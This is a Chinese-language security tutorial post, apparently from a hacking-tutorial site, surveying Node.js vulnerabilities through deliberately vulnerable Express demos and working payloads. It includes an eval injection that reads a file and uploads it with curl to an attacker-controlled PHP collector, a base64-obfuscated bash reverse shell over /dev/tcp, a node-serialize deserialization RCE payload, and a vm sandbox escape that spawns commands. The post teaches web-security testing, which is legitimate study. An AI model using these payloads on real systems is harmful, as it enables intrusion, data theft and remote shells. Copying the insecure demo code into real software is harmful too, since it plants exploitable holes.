黑客
登录
客服
网络安全,渗透测试

Node.jsVuln

日期:2020/10/26 10:10:29

前言

对于最近学习node.js的一些总结~

设置安全的HTTP头

在Node.js中可以通过强制设置一些安全的HTTP头来加强网站的安全系数,比如以下:

Strict-Transport-Security //强制使用安全连接(SSL/TLS之上的HTTPS)来连接到服务器。 X-Frame-Options //提供对于点击劫持的保护。 X-XSS-Protection //开启大多现代浏览器内建的对于跨站脚本攻击(XSS)的过滤功能。 X-Content-Type-Options // 防止浏览器使用MIME-sniffing 来确定响应的类型,转而使用明确的content-type来确定。 Content-Security-Policy // 防止受到跨站脚本攻击以及其他跨站注入攻击。

目前Helnet第三方模块已经帮开发人员设置好了,直接将它引入到我们的系统就可以了,代码如下

varexpress=require('express');varhelmet=require('helmet')varapp=express();app.use(helmet())app.get('/',function(req,res){res.end("hello ghtwf01")})varserver=app.listen(8888,function(){varhost=server.address().addressvarport=server=server.address().portconsole.log("应用实例,访问地址为 http://%s:%s",host,port)})

代码执行

示例代码如下

varexpress=require('express');varapp=express();app.get('/eval',function(req,res){res.send(eval(req.query.code));})varserver=app.listen(8888,function(){varhost=server.address().addressvarport=server=server.address().portconsole.log("应用实例,访问地址为 http://%s:%s",host,port)})

Node.js中的chile_process.exec调用的是/bash.sh,它是一个bash解释器,可以执行系统命令。在eval函数的参数中可以构造require('child_process').exec('');来进行调用

1.执行命令(打开微信)

code=require('child_process').exec('open /Applications/WeChat.app');

2.读取任意文件

因为没有回显所以需要数据外带

我们在自己的vps上写一个获取数据的文件test.php

<?php$content=$_POST['content'];file_put_contents("content.txt",$content);?>

然后执行命令

code=require('child_process').exec('curl -d "content=`cat /users/ghtwf01/Desktop/flag`" http://localhost:8890/test.php');

成功在自己vps上生成文件读取到文件内容

3.反弹shell

code=require('child_process').exec('YmFzaCAtaSAmZ3Q7JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwJmd0OyYx'|base64 -d|bash');

YmFzaCAtaSAmZ3Q7JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwJmd0OyYx是bash -i >& /dev/tcp/127.0.0.1/4444 0>&1的base64编码

如果上下文中没有require(类似于Code-Breaking 2018 Thejs),则可以使用global.process.mainModule.constructor._load('child_process').exec('')来执行命令

除了eval函数能动态执行代码,setInteval、setTimeout、 new Function等函数也有相同的功能

XSS

Node.js不像java有很强大的过滤器,过滤用户的有害输入、缓解xss十分方便。但是可以通过设置HTTP头中加入X-XSS-Protection,来开起浏览器内建的对于跨站脚本攻击(XSS)的过滤功能。由于本身没有xss防护机制 ,若是未经过滤直接显示外部的输入则导致XSS。

如下:

varexpress=require('express');varapp=express();app.get('/xss',function(req,res){res.end(req.query.content);})varserver=app.listen(8888,function(){varhost=server.address().addressvarport=server=server.address().portconsole.log("应用实例,访问地址为 http://%s:%s",host,port)})

程序直接将用户的输入显示到前端页面:

SSRF

ssrf漏洞在存在于大多数的编程语言中,node.js也不例外,只要web系统接收了外界输入的URL,并且通过服务端程序直接调用就会造成相应的漏洞

代码如下

varexpress=require('express');varapp=express();varneedle=require('needle');app.get('/ssrf',function(req,res){varurl=req.query['url'];needle.get(url);res.end('new request:'+url);})varserver=app.listen(8888,function(){varhost=server.address().addressvarport=server=server.address().portconsole.log("应用实例,访问地址为 http://%s:%s",host,port)})

SQL注入

示例代码

varexpress=require('express');varapp=express();varmysql=require('mysql');varconnection=mysql.createConnection({host:'localhost',user:'root',password:'root',database:'users',port:'8889'});connection.connect();app.get('/sqli',function(req,res){varid=req.query.id;varsql="select * from user where id="+id;connection.query(sql,function(error,result){if(error){res.send(error);}res.send(result[0]);});connection.end();})varserver=app.listen(8888,function(){varhost=server.address().addressvarport=server=server.address().portconsole.log("应用实例,访问地址为 http://%s:%s",host,port)})

成功实现注入

文件上传

形成的原因同样是因为未对上传文件作限制或限制不当

file.html

<html><head><title>文件上传表单</title><metahttp-equiv="Content-Type"content="text/html; charset=utf-8"/></head><body><h3>文件上传:</h3>选择一个文件上传:<br/><formaction="/upload"method="post"enctype="multipart/form-data"><inputtype="file"name="image"size="50"/><br/><inputtype="submit"value="上传文件"/></form></body></html>

test.js

varexpress=require('express');varapp=express();varfs=require("fs");varbodyParser=require('body-parser');varmulter=require('multer');app.use('/public',express.static('public'));app.use(bodyParser.urlencoded({extended:false}));app.use(multer({dest:'/tmp/'}).array('image'));app.get('/file.html',function(req,res){res.sendFile(__dirname+"/"+"file.html");})app.post('/upload',function(req,res){console.log(req.files[0]);// 上传的文件信息vardes_file=__dirname+"/"+req.files[0].originalname;fs.readFile(req.files[0].path,function(err,data){fs.writeFile(des_file,data,function(err){if(err){console.log(err);}else{response={message:'File uploaded successfully',filename:req.files[0].originalname};}console.log(response);res.end(JSON.stringify(response));});});})varserver=app.listen(8888,function(){varhost=server.address().addressvarport=server.address().portconsole.log("应用实例,访问地址为 http://%s:%s",host,port)})

npm

任何人都可以创建模块发布到npm上,供别人调用,虽然这为开发者带来了一定的便利性,但必然隐藏着安全隐患,如果使用了存在漏洞的第三方模块,那么就会有严重的安全问题。

node-serialize反序列化RCE漏洞(CVE-2017-5941)

这里首先需要了解一个知识叫IIFE(立即调用函数表达式),是一个在定义时就会立即执行的 JavaScript 函数

IIFE一般写成下面两种形式:

(function(){ /* code */ }()); (function(){ /* code */ })();

例如

现在开始分析node-serialize的漏洞点

位于node_modules\node-serialize\lib\serialize.js第75行中

可以看到传入的值在eval函数里面且被一对括号包裹,所以如果我们构造function(){}()函数,在反序列化时就会被当作IIFE立即调用执行

poc:

serialize=require('node-serialize');vartest={rce:function(){require('child_process').exec('whoami',function(error,stdout,stderr){console.log(stdout)});},}console.log("序列化生成的 Payload: \n"+serialize.serialize(test));

得到

{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('whoami',function(error, stdout, stderr){console.log(stdout)});}"}

因为需要在反序列化时让其立即调用我们构造的函数,所以我们需要在生成的序列化语句的函数后面再添加一个(),结果如下:

{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('whoami',function(error, stdout, stderr){console.log(stdout)});}()"}

这个时候我们将其进行反序列化,代码如下

varserialize=require('node-serialize');varpayload='{"rce":"_$$ND_FUNC$$_function(){require(\'child_process\').exec(\'whoami\',function(error, stdout, stderr){console.log(stdout)});}()"}';serialize.unserialize(payload);

成功执行命令

Node.js 目录穿越漏洞(CVE-2017-14849)

漏洞影响版本:

  • Node.js 8.5.0 + Express 3.19.0-3.21.2
  • Node.js 8.5.0 + Express 4.11.0-4.15.5

vulhub一键搭建环境

cd vulhub/node/CVE-2017-14849/ docker-compose build docker-compose up -d

burpsuite抓包

现在开始分析漏洞点,先下载安装源码

wget https://github.com/expressjs/express/archive/4.15.5.tar.gz && tar -zxvf 4.15.5.tar.gz && cd express-4.15.5 && npm install

位于Express的Send组件0.11.0-0.15.6版本pipe()函数中(/express-4.15.5/node_modules/send/index.js)

SendStream.prototype.pipe=functionpipe(res){// root pathvarroot=this._root// referencesthis.res=res// decode the pathvarpath=decode(this.path)if(path===-1){this.error(400)returnres}// null byte(s)if(~path.indexOf('\0')){this.error(400)returnres}varpartsif(root!==null){// malicious pathif(UP_PATH_REGEXP.test(normalize('.'+sep+path))){debug('malicious path "%s"',path)this.error(403)returnres}// join / normalize from optional root dirpath=normalize(join(root,path))root=normalize(root+sep)

关键位置是

if(root!==null){// malicious pathif(UP_PATH_REGEXP.test(normalize('.'+sep+path))){debug('malicious path "%s"',path)this.error(403)returnres}// join / normalize from optional root dirpath=normalize(join(root,path))root=normalize(root+sep)

这里有两个需要认识的函数

1.path.normalize()函数规范化给定的path:http://nodejs.cn/api/path/path_normalize_path.html

2.path.join()函数将多个参数组合成一个path:https://www.jb51.net/article/58298.htm

Send模块通过normalize('.' + sep + path)标准化路径path后,并没有赋值给path,而是仅仅判断了下是否存在目录跳转字符。如果我们能绕过目录跳转字符的判断,就能把目录跳转字符带入join(root, path)函数中,跳转到我们想要跳转到的目录中

接下来的分析可参考:https://paper.seebug.org/439/

vm沙盒逃逸

vm可以理解为在一个虚拟环境中运行代码然后将结果取出来,这样可以防止恶意代码在主程序上执行

下面举一个例子,代码如下

constvm=require('vm');constx=1;constcontext={x:2};vm.createContext(context);// Contextify the object.constcode='x += 40; var y = 17;';// `x` and `y` are global variables in the context.// Initially, x has the value 2 because that is the value of context.x.vm.runInContext(code,context);console.log(context.x);// 42console.log(context.y);// 17console.log(x);// 1; y is not defined.

总结一下就是先将x=2放入沙盒并创建一个沙盒,然后将代码(x += 40; var y = 17;)放入沙盒中执行,因为最开始创建沙盒的时候定义了x=2,所以在此基础上在沙盒中进行运算得到x=42,y=17。因为const x=1是在沙盒外定义的,所以和沙盒无关,值仍然为1。

虽然拥有沙盒来帮助执行代码,但是vm还是轻松逃逸出去,因为this.__proto__指向的是主环境的Object.prototype

constvm=require('vm');constcontext={x:2};constscript=newvm.Script(`this.constructor.constructor('return process')().mainModule.require('child_process').execSync('whoami').toString()`);vm.createContext(context);varresult=script.runInContext(context);console.log(result);
  • 第一步this.constructor.constructor通过继承链最终拿到主环境的Function
  • this.constructor.constructor('return process')()构造了一个函数并执行,拿到主环境的process变量
  • 通过process.mainModule.require导入child_process模块,命令执行

参考链接

https://www.jb51.net/article/127896.htm

https://www.freebuf.com/articles/web/152891.html

https://paper.seebug.org/439/

https://threezh1.com/2020/01/30/NodeJsVulns/

http://nodejs.cn/api/

最新教程

最新文章

推荐文章

热门文章

黑客技术 黑客软件 黑客教程 黑客书籍

关于我们 | 免责声明 | 学员守则 | 广告服务 | 联系我们

©2013-2021 xf1433.com 版权所有

本站资源仅供用于学习和交流,请遵循相关法律法规